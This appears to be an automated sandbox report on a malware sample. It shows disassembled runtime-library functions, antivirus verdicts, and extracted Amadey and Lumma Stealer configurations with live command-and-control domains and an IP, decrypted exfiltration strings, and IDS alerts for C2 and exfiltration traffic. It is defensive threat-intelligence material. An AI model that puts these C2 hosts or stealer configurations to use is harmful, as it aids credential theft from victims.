Associated: 00000007.00000002.2429097295.0000000000AEC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429124722.0000000000AF5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429147668.0000000000AF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429169852.0000000000AF8000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429191899.0000000000AFA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429216192.0000000000AFD000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ad0000_3a0398bc51.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: 3c6341c8f0adcc8c374d16e04f6a50ee5d6fe47ee17f7c5a05e2e92f34f7475d
Instruction ID: 899078eb5b1f5cea3284ad0897aad93ebfb936356766c9a92b17b5f7f646d645
Opcode Fuzzy Hash: 3c6341c8f0adcc8c374d16e04f6a50ee5d6fe47ee17f7c5a05e2e92f34f7475d
Instruction Fuzzy Hash: CE1104F65066A57F6B11B7F79D8DC7F39ACDE89394B100425F40295200FAA4CE01D270

Function 00AD457B Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00AD4582
std::_Lockit::_Lockit.LIBCPMT ref: 00AD458C

Part of subcall function 00AD24C2: std::_Lockit::_Lockit.LIBCPMT ref: 00AD24DE
Part of subcall function 00AD24C2: std::_Lockit::~_Lockit.LIBCPMT ref: 00AD24F7

codecvt.LIBCPMT ref: 00AD45C6
std::_Lockit::~_Lockit.LIBCPMT ref: 00AD45FD

Memory Dump Source

Source File: 00000007.00000002.2429059441.0000000000AD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000007.00000002.2429025903.0000000000AD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429097295.0000000000AEC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429124722.0000000000AF5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429147668.0000000000AF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429169852.0000000000AF8000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429191899.0000000000AFA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429216192.0000000000AFD000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ad0000_3a0398bc51.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3codecvt
String ID:
API String ID: 3716348337-0
Opcode ID: 321167a621f9e15a5aad4bdc310d7272dbad2f1955956d1ed18ee77ebd445560
Instruction ID: c7075d546943451e4d25ad419f15b6cb6f869898acd5b566377cfacc69bfe3e6
Opcode Fuzzy Hash: 321167a621f9e15a5aad4bdc310d7272dbad2f1955956d1ed18ee77ebd445560
Instruction Fuzzy Hash: C30192769001158BCB05EBA4EA15BBD7772BFA4710F24050AF413AB391DF759E02C791

Function 00AEA4E0 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,00000000,?,00AE9B0F,00000000,00000001,00000000,?,?,00AE5A1F,?,00000000,00000000), ref: 00AEA4F7
GetLastError.KERNEL32(?,00AE9B0F,00000000,00000001,00000000,?,?,00AE5A1F,?,00000000,00000000,?,?,?,00AE5365,00000000), ref: 00AEA503

Part of subcall function 00AEA554: CloseHandle.KERNEL32(FFFFFFFE,00AEA513,?,00AE9B0F,00000000,00000001,00000000,?,?,00AE5A1F,?,00000000,00000000,?,?), ref: 00AEA564

___initconout.LIBCMT ref: 00AEA513

Part of subcall function 00AEA535: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00AEA4D1,00AE9AFC,?,?,00AE5A1F,?,00000000,00000000,?), ref: 00AEA548

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,?,00AE9B0F,00000000,00000001,00000000,?,?,00AE5A1F,?,00000000,00000000,?), ref: 00AEA528

Memory Dump Source

Source File: 00000007.00000002.2429059441.0000000000AD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000007.00000002.2429025903.0000000000AD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429097295.0000000000AEC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429124722.0000000000AF5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429147668.0000000000AF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429169852.0000000000AF8000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429191899.0000000000AFA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429216192.0000000000AFD000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ad0000_3a0398bc51.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: a75270f9539b92043711313e58c071252b86a471a14f0535c451c130068de79b
Instruction ID: 2fddd4fc8c7307177cf4df2e20f29cfd9391e755910167eef542d936378d75c5
Opcode Fuzzy Hash: a75270f9539b92043711313e58c071252b86a471a14f0535c451c130068de79b
Instruction Fuzzy Hash: 4BF03037410255BFCF22AFD6EC08AEA3F26FF983A0B014110FA0986130D6329D21DBA1

Function 00AD59A7 Relevance: 6.0, APIs: 4, Instructions: 25timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 00AD59B9
GetCurrentThreadId.KERNEL32 ref: 00AD59C8
GetCurrentProcessId.KERNEL32 ref: 00AD59D1
QueryPerformanceCounter.KERNEL32(?), ref: 00AD59DE

Memory Dump Source

Source File: 00000007.00000002.2429059441.0000000000AD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000007.00000002.2429025903.0000000000AD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429097295.0000000000AEC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429124722.0000000000AF5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429147668.0000000000AF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429169852.0000000000AF8000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429191899.0000000000AFA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429216192.0000000000AFD000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ad0000_3a0398bc51.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 272735b86c977c56b5ba66a4e62475725de404a212d45ce6fd6eff7fb0c835f8
Instruction ID: c2c4dc1b3f176e3462e541b7d254068e7665b96e987eebae992b5ad1ad491e83
Opcode Fuzzy Hash: 272735b86c977c56b5ba66a4e62475725de404a212d45ce6fd6eff7fb0c835f8
Instruction Fuzzy Hash: BEF05F75D1120DEBCF00EBF5D98999EBBF4FF1C204B918596A412E7110E670AB45DF50

Function 00AE2117 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 191COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00ADE783: GetLastError.KERNEL32(00000000,?,00AE0AB9), ref: 00ADE787
Part of subcall function 00ADE783: SetLastError.KERNEL32(00000000,?,?,00000028,00ADB9D2), ref: 00ADE829

GetACP.KERNEL32(-00000002,00000000,?,00000000,00000000,?,00AD9266,?,?,?,00000055,?,-00000050,?,?,?), ref: 00AE21D6
IsValidCodePage.KERNEL32(00000000,-00000002,00000000,?,00000000,00000000,?,00AD9266,?,?,?,00000055,?,-00000050,?,?), ref: 00AE220D

Strings

utf8, xrefs: 00AE22DF

Memory Dump Source

Source File: 00000007.00000002.2429059441.0000000000AD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000007.00000002.2429025903.0000000000AD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429097295.0000000000AEC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429124722.0000000000AF5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429147668.0000000000AF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429169852.0000000000AF8000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429191899.0000000000AFA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429216192.0000000000AFD000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ad0000_3a0398bc51.jbxd

Similarity

API ID: ErrorLast$CodePageValid
String ID: utf8
API String ID: 943130320-905460609
Opcode ID: d1414501d4f02c0939028870d1c6a0647b0d934ec0a23bf1dcb1ef92e58876d6
Instruction ID: a84a1ba98a58f5ff641609c63569ff9f2032407721f54b56acce2a3d36790b9e
Opcode Fuzzy Hash: d1414501d4f02c0939028870d1c6a0647b0d934ec0a23bf1dcb1ef92e58876d6
Instruction Fuzzy Hash: 03510775640386AAEB25AB768D42FE773ACEF44700F100529FA05DB181FAB4E940CBA1

Function 00ADDFAC Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 126COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,00ADDEAD,?,?,00000000,00000000,00000000,?), ref: 00ADDFD1

Strings

RCC, xrefs: 00ADDFEB
MOC, xrefs: 00ADDFE3

Memory Dump Source

Source File: 00000007.00000002.2429059441.0000000000AD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000007.00000002.2429025903.0000000000AD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429097295.0000000000AEC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429124722.0000000000AF5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429147668.0000000000AF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429169852.0000000000AF8000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429191899.0000000000AFA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429216192.0000000000AFD000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ad0000_3a0398bc51.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: fe39ee7b3779e3f036acb0894d31b195e19b3339a84798a6354a821a76df13ee
Instruction ID: 706848c559fe3d69038b155cbdd1a3a24d02f859d53730a206200c93e9b3800d
Opcode Fuzzy Hash: fe39ee7b3779e3f036acb0894d31b195e19b3339a84798a6354a821a76df13ee
Instruction Fuzzy Hash: 08416C71900209AFCF25EF94CD81EEEBBB5FF48304F19805AF906AB251D3759950DB50

Function 00ADD818 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 00ADDA8F

Strings

csm, xrefs: 00ADDB22
csm, xrefs: 00ADDAB1

Memory Dump Source

Source File: 00000007.00000002.2429059441.0000000000AD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000007.00000002.2429025903.0000000000AD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429097295.0000000000AEC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429124722.0000000000AF5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429147668.0000000000AF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429169852.0000000000AF8000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429191899.0000000000AFA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429216192.0000000000AFD000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ad0000_3a0398bc51.jbxd

Similarity

API ID: ___except_validate_context_record
String ID: csm$csm
API String ID: 3493665558-3733052814
Opcode ID: d4a14c55b0b782c6f79db1e0b2544c3fb143b65d714d9a6f04a1b1d81b6017c0
Instruction ID: 0bb0121c203adbc62c0ca27553feb00669a364110db3dbad18b3da8b1260e32d
Opcode Fuzzy Hash: d4a14c55b0b782c6f79db1e0b2544c3fb143b65d714d9a6f04a1b1d81b6017c0
Instruction Fuzzy Hash: 1E310432500208EBCF229F90CC409EA7B65FF08769B1A815BFC565A321D332DCA1DB91

Function 00AD29D4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 27COMMONLIBRARYCODE

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(00AF648C,ios_base::badbit set,?,?,00AD1C84,00AF6478,00AD1B17), ref: 00AD29DF
ReleaseSRWLockExclusive.KERNEL32(00AF648C,?,?,00AD1C84,00AF6478,00AD1B17), ref: 00AD2A19

Strings

ios_base::badbit set, xrefs: 00AD29D8

Memory Dump Source

Source File: 00000007.00000002.2429059441.0000000000AD1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000007.00000002.2429025903.0000000000AD0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429097295.0000000000AEC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429124722.0000000000AF5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429147668.0000000000AF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429169852.0000000000AF8000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429191899.0000000000AFA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.2429216192.0000000000AFD000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_ad0000_3a0398bc51.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease
String ID: ios_base::badbit set
API String ID: 17069307-3882152299
Opcode ID: b0390de0b76c30a12ade87c442361f169263957f917dbc21a882784353829957
Instruction ID: cf0f0e5f02e7fd0cdd492ed38d4ba0d9a86e85cb1a2af96ccf021f8d72437fe6
Opcode Fuzzy Hash: b0390de0b76c30a12ade87c442361f169263957f917dbc21a882784353829957
Instruction Fuzzy Hash: EAF05835500205CBCB20EFA8D954B35BBB8FB95775F14036AE9AA433A0C7311842CB51

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1018266001\7ba71287b7.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1018268001\66405b473b.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen

Source: 00000001.00000002.1811462151.0000000000181000.00000040.00000001.01000000.00000008.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 00000007.00000002.2428598258.00000000007D6000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: LummaC {"C2 url": ["aspecteirs.lat", "rapeflowwj.lat", "pancakedipyps.click", "necklacebudi.lat", "discokeyus.lat", "grannyejh.lat", "crosshuaht.lat", "energyaffai.lat", "sustainskelet.lat"], "Build id": "FATE99--test"}

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	ReversingLabs: Detection: 68%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[2].exe	ReversingLabs: Detection: 27%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	ReversingLabs: Detection: 66%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	ReversingLabs: Detection: 75%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[2].exe	ReversingLabs: Detection: 71%
Source: C:\Users\user\AppData\Local\Temp\1018264001\3a0398bc51.exe	ReversingLabs: Detection: 68%
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	ReversingLabs: Detection: 75%
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	ReversingLabs: Detection: 66%
Source: C:\Users\user\AppData\Local\Temp\1018269001\386e7e479d.exe	ReversingLabs: Detection: 71%
Source: C:\Users\user\AppData\Local\Temp\1018270001\400f5197b1.exe	ReversingLabs: Detection: 27%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	ReversingLabs: Detection: 52%

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1018265001\d6bf37692b.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1018269001\386e7e479d.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1018266001\7ba71287b7.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1018267001\9f58fa9406.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1018268001\66405b473b.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected

Source: 0000000A.00000003.2497402834.0000000004F40000.00000004.00001000.00020000.00000000.sdmp	String decryptor: rapeflowwj.lat
Source: 0000000A.00000003.2497402834.0000000004F40000.00000004.00001000.00020000.00000000.sdmp	String decryptor: crosshuaht.lat
Source: 0000000A.00000003.2497402834.0000000004F40000.00000004.00001000.00020000.00000000.sdmp	String decryptor: sustainskelet.lat
Source: 0000000A.00000003.2497402834.0000000004F40000.00000004.00001000.00020000.00000000.sdmp	String decryptor: aspecteirs.lat
Source: 0000000A.00000003.2497402834.0000000004F40000.00000004.00001000.00020000.00000000.sdmp	String decryptor: energyaffai.lat
Source: 0000000A.00000003.2497402834.0000000004F40000.00000004.00001000.00020000.00000000.sdmp	String decryptor: necklacebudi.lat
Source: 0000000A.00000003.2497402834.0000000004F40000.00000004.00001000.00020000.00000000.sdmp	String decryptor: discokeyus.lat
Source: 0000000A.00000003.2497402834.0000000004F40000.00000004.00001000.00020000.00000000.sdmp	String decryptor: grannyejh.lat
Source: 0000000A.00000003.2497402834.0000000004F40000.00000004.00001000.00020000.00000000.sdmp	String decryptor: treehoneyi.click
Source: 0000000A.00000003.2497402834.0000000004F40000.00000004.00001000.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 0000000A.00000003.2497402834.0000000004F40000.00000004.00001000.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 0000000A.00000003.2497402834.0000000004F40000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 0000000A.00000003.2497402834.0000000004F40000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 0000000A.00000003.2497402834.0000000004F40000.00000004.00001000.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 0000000A.00000003.2497402834.0000000004F40000.00000004.00001000.00020000.00000000.sdmp	String decryptor: rAGxSF--Support

Source: file.exe	Virustotal: Detection: 56%			Perma Link
Source: file.exe	ReversingLabs: Detection: 52%

Source: Network traffic	Suricata IDS: 2058397 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (pancakedipyps .click) : 192.168.2.4:62065 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.4:49775 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.4:49747 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49771 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.4:49756
Source: Network traffic	Suricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.4:49780 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.4:49789 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49795 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.4:49797 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.4:49806 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.4:49816 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.4:49822 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49832 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49859 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.4:49841 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49895 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058222 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (immureprech .biz) : 192.168.2.4:58623 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058212 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bellflamre .click) : 192.168.2.4:58148 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49912 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058223 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (immureprech .biz in TLS SNI) : 192.168.2.4:49920 -> 178.62.201.34:443
Source: Network traffic	Suricata IDS: 2822521 - Severity 1 - ETPRO MALWARE Malicious SSL Certificate Detected (Linux.Rex Scanner) : 178.62.201.34:443 -> 192.168.2.4:49920
Source: Network traffic	Suricata IDS: 2058214 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (deafeninggeh .biz) : 192.168.2.4:49215 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058215 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (deafeninggeh .biz in TLS SNI) : 192.168.2.4:49931 -> 45.77.249.79:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49933 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.4:49930 -> 147.45.113.159:80
Source: Network traffic	Suricata IDS: 2822521 - Severity 1 - ETPRO MALWARE Malicious SSL Certificate Detected (Linux.Rex Scanner) : 45.77.249.79:443 -> 192.168.2.4:49931
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.4:49939 -> 147.45.113.159:80
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49796 -> 172.67.180.113:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49796 -> 172.67.180.113:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49797 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49804 -> 172.67.180.113:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49804 -> 172.67.180.113:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49780 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49780 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49844 -> 172.67.180.113:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49841 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49775 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49775 -> 172.67.209.202:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49868 -> 172.67.180.113:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49920 -> 178.62.201.34:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49920 -> 178.62.201.34:443

Source: Malware configuration extractor	URLs: aspecteirs.lat
Source: Malware configuration extractor	URLs: rapeflowwj.lat
Source: Malware configuration extractor	URLs: pancakedipyps.click
Source: Malware configuration extractor	URLs: necklacebudi.lat
Source: Malware configuration extractor	URLs: discokeyus.lat
Source: Malware configuration extractor	URLs: grannyejh.lat
Source: Malware configuration extractor	URLs: crosshuaht.lat
Source: Malware configuration extractor	URLs: energyaffai.lat
Source: Malware configuration extractor	URLs: sustainskelet.lat
Source: Malware configuration extractor	IPs: 185.215.113.43

